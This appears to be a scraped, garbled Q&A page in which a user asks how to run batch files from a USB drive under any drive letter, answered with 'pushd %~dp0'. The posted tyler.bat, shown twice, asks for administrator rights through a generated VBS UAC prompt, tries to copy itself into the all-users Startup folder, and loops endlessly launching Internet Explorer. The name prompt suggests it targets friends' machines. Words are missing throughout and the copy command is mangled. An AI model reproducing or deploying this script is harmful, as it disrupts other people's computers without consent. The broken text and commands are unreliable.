How to make a batch file run from any drive letter off of a usb drive? -
How to make a batch file run from any drive letter off of a usb drive? -
i'm putting both of these batch files on usb drive, , need find way create tyler.bat have right path when phone call tyler.bat usb drive read usb drive , load tyler.bat right path , follow through commands.
i want know how without changing drive name specific.
zieske.bat
@echo off echo you? set /p answer= if /i "%answer%"=="tyler" (call tyler.bat) if /i "%answer%"=="tyler zieske" (call tyler.bat) if /i "%answer%"=="pediatric gynocologist" (call tyler.bat) echo welcome %answer%! pause
tyler.bat
@echo off rem run shell admin (example) - set here code rem check windows version ver | findstr /i "5\.0\." > nul if %errorlevel% equ 0 goto :ver_2000 ver | findstr /i "5\.1\." > nul if %errorlevel% equ 0 goto :ver_xp ver | findstr /i "5\.2\." > nul if %errorlevel% equ 0 goto :ver_2003 ver | findstr /i "6\.0\." > nul if %errorlevel% equ 0 goto :ver_vista ver | findstr /i "6\.1\." > nul if %errorlevel% equ 0 goto :ver_win7 goto warn_and_exit :ver_win7 if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" ( goto :yes ) else ( goto :beginning7 ) goto :ver_win7 :ver_vista if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" ( goto :yes ) else ( goto :beginning_vista ) goto :ver_vista :ver_2003 cd "c:\documents , settings\all users\start menu\programs\startup" if exist "tyler.bat" ( goto :yes ) else ( goto :beginning2003 ) goto :ver_2003 :ver_xp cd "c:\documents , settings\all users\start menu\programs\startup" if exist "tyler.bat" ( goto :yes ) else ( goto :beginningxp ) goto :ver_xp :ver_2000 cd "c:\documents , settings\all users\start menu\programs\startup" if exist "tyler.bat" ( goto :yes ) else ( goto :beginning2000 ) goto :ver_2000 :warn_and_exit echo machine os cannot determined. pause :beginning7 cls echo. echo ============================= echo running admin shell echo ============================= :checkprivileges net file 1>nul 2>nul if '%errorlevel%' == '0' ( goto gotprivileges ) else ( goto getprivileges ) :getprivileges if '%1'=='elev' (shift & goto gotprivileges) echo. echo ************************************** echo invoking uac privilege escalation echo ************************************** setlocal disabledelayedexpansion set "batchpath=%~0" setlocal enabledelayedexpansion echo set uac = createobject^("shell.application"^) > "%temp%\oegetprivileges.vbs" echo uac.shellexecute "!batchpath!", "elev", "", "runas", 1 >> "%temp%\oegetprivileges.vbs" "%temp%\oegetprivileges.vbs" exit /b :gotprivileges :::::::::::::::::::::::::::: :start :::::::::::::::::::::::::::: setlocal & pushd . re-create tyler.bat "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" goto yes: :beginning_vista goto beginning7 :beginningxp cls echo. echo ============================= echo running admin shell echo ============================= :checkprivileges net file 1>nul 2>nul if '%errorlevel%' == '0' ( goto gotprivileges ) else ( goto getprivileges ) :getprivileges if '%1'=='elev' (shift & goto gotprivileges) echo. echo ************************************** echo invoking uac privilege escalation echo ************************************** setlocal disabledelayedexpansion set "batchpath=%~0" setlocal enabledelayedexpansion echo set uac = createobject^("shell.application"^) > "%temp%\oegetprivileges.vbs" echo uac.shellexecute "!batchpath!", "elev", "", "runas", 1 >> "%temp%\oegetprivileges.vbs" "%temp%\oegetprivileges.vbs" exit /b :gotprivileges :::::::::::::::::::::::::::: :start :::::::::::::::::::::::::::: setlocal & pushd . re-create tyler.bat "c:\documents , settings\all users\start menu\programs\startup" goto :yes :beginning2003 goto :beginningxp :beginning2000 goto :beginningxp :yes echo hi tyler! pause goto :tyler :tyler start iexplore.exe goto :tyler cmd /k
example of ty's answer
pushd %~dp0 ...all other code... re-create tyler.bat ...more other code...
example of ty's reply implemented code (didn't know if because of goto variables if need set pushd command re-create batch file)
zieske.bat
@echo off pushd %~dp0 echo you? set /p answer= if /i "%answer%"=="tyler" (call tyler.bat) if /i "%answer%"=="matt" (call tyler.bat) if /i "%answer%"=="matthew" (call tyler.bat) if /i "%answer%"=="matthew tassin" (call tyler.bat) if /i "%answer%"=="matt tassin" (call tyler.bat) if /i "%answer%"=="ryan" (call tyler.bat) if /i "%answer%"=="ryan ware" (call tyler.bat) if /i "%answer%"=="tyler zieske" (call tyler.bat) if /i "%answer%"=="pediatric gynocologist" (call tyler.bat) echo welcome %answer%! pause
tyler.bat
@echo off pushd %~dp0 rem check windows version ver | findstr /i "5\.0\." > nul if %errorlevel% equ 0 goto :ver_2000 ver | findstr /i "5\.1\." > nul if %errorlevel% equ 0 goto :ver_xp ver | findstr /i "5\.2\." > nul if %errorlevel% equ 0 goto :ver_2003 ver | findstr /i "6\.0\." > nul if %errorlevel% equ 0 goto :ver_vista ver | findstr /i "6\.1\." > nul if %errorlevel% equ 0 goto :ver_win7 goto warn_and_exit :ver_win7 if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" ( goto :yes ) else ( goto :beginning7 ) goto :ver_win7 :ver_vista if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" ( goto :yes ) else ( goto :beginning_vista ) goto :ver_vista :ver_2003 cd "c:\documents , settings\all users\start menu\programs\startup" if exist "tyler.bat" ( goto :yes ) else ( goto :beginning2003 ) goto :ver_2003 :ver_xp cd "c:\documents , settings\all users\start menu\programs\startup" if exist "tyler.bat" ( goto :yes ) else ( goto :beginningxp ) goto :ver_xp :ver_2000 cd "c:\documents , settings\all users\start menu\programs\startup" if exist "tyler.bat" ( goto :yes ) else ( goto :beginning2000 ) goto :ver_2000 :warn_and_exit echo machine os cannot determined. pause :beginning7 cls echo. echo ============================= echo running admin shell echo ============================= :checkprivileges net file 1>nul 2>nul if '%errorlevel%' == '0' ( goto gotprivileges ) else ( goto getprivileges ) :getprivileges if '%1'=='elev' (shift & goto gotprivileges) echo. echo ************************************** echo invoking uac privilege escalation echo ************************************** setlocal disabledelayedexpansion set "batchpath=%~0" setlocal enabledelayedexpansion echo set uac = createobject^("shell.application"^) > "%temp%\oegetprivileges.vbs" echo uac.shellexecute "!batchpath!", "elev", "", "runas", 1 >> "%temp%\oegetprivileges.vbs" "%temp%\oegetprivileges.vbs" exit /b :gotprivileges :::::::::::::::::::::::::::: :start :::::::::::::::::::::::::::: setlocal & pushd . pushd %~dp0 re-create tyler.bat "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" goto yes: :beginning_vista goto beginning7 :beginningxp cls echo. echo ============================= echo running admin shell echo ============================= :checkprivileges net file 1>nul 2>nul if '%errorlevel%' == '0' ( goto gotprivileges ) else ( goto getprivileges ) :getprivileges if '%1'=='elev' (shift & goto gotprivileges) echo. echo ************************************** echo invoking uac privilege escalation echo ************************************** setlocal disabledelayedexpansion set "batchpath=%~0" setlocal enabledelayedexpansion echo set uac = createobject^("shell.application"^) > "%temp%\oegetprivileges.vbs" echo uac.shellexecute "!batchpath!", "elev", "", "runas", 1 >> "%temp%\oegetprivileges.vbs" "%temp%\oegetprivileges.vbs" exit /b :gotprivileges :::::::::::::::::::::::::::: :start :::::::::::::::::::::::::::: setlocal & pushd . pushd %~dp0 re-create tyler.bat "c:\documents , settings\all users\start menu\programs\startup" goto :yes :beginning2003 goto :beginningxp :beginning2000 goto :beginningxp :yes echo hi tyler, ryan, or matt! pause goto :tyler :tyler start iexplore.exe goto :tyler cmd /k
if verify syntax/location of pushd %~dp0
right ctrl+f , typing in pushd %~dp0
appreciative.
do need drive letter, or need create sure current directory root of usb drive? if latter, do:
pushd %~dp0
at origin of batch file. you'll cd'ed directory in batch file lives.
batch-file usb
Comments
Post a Comment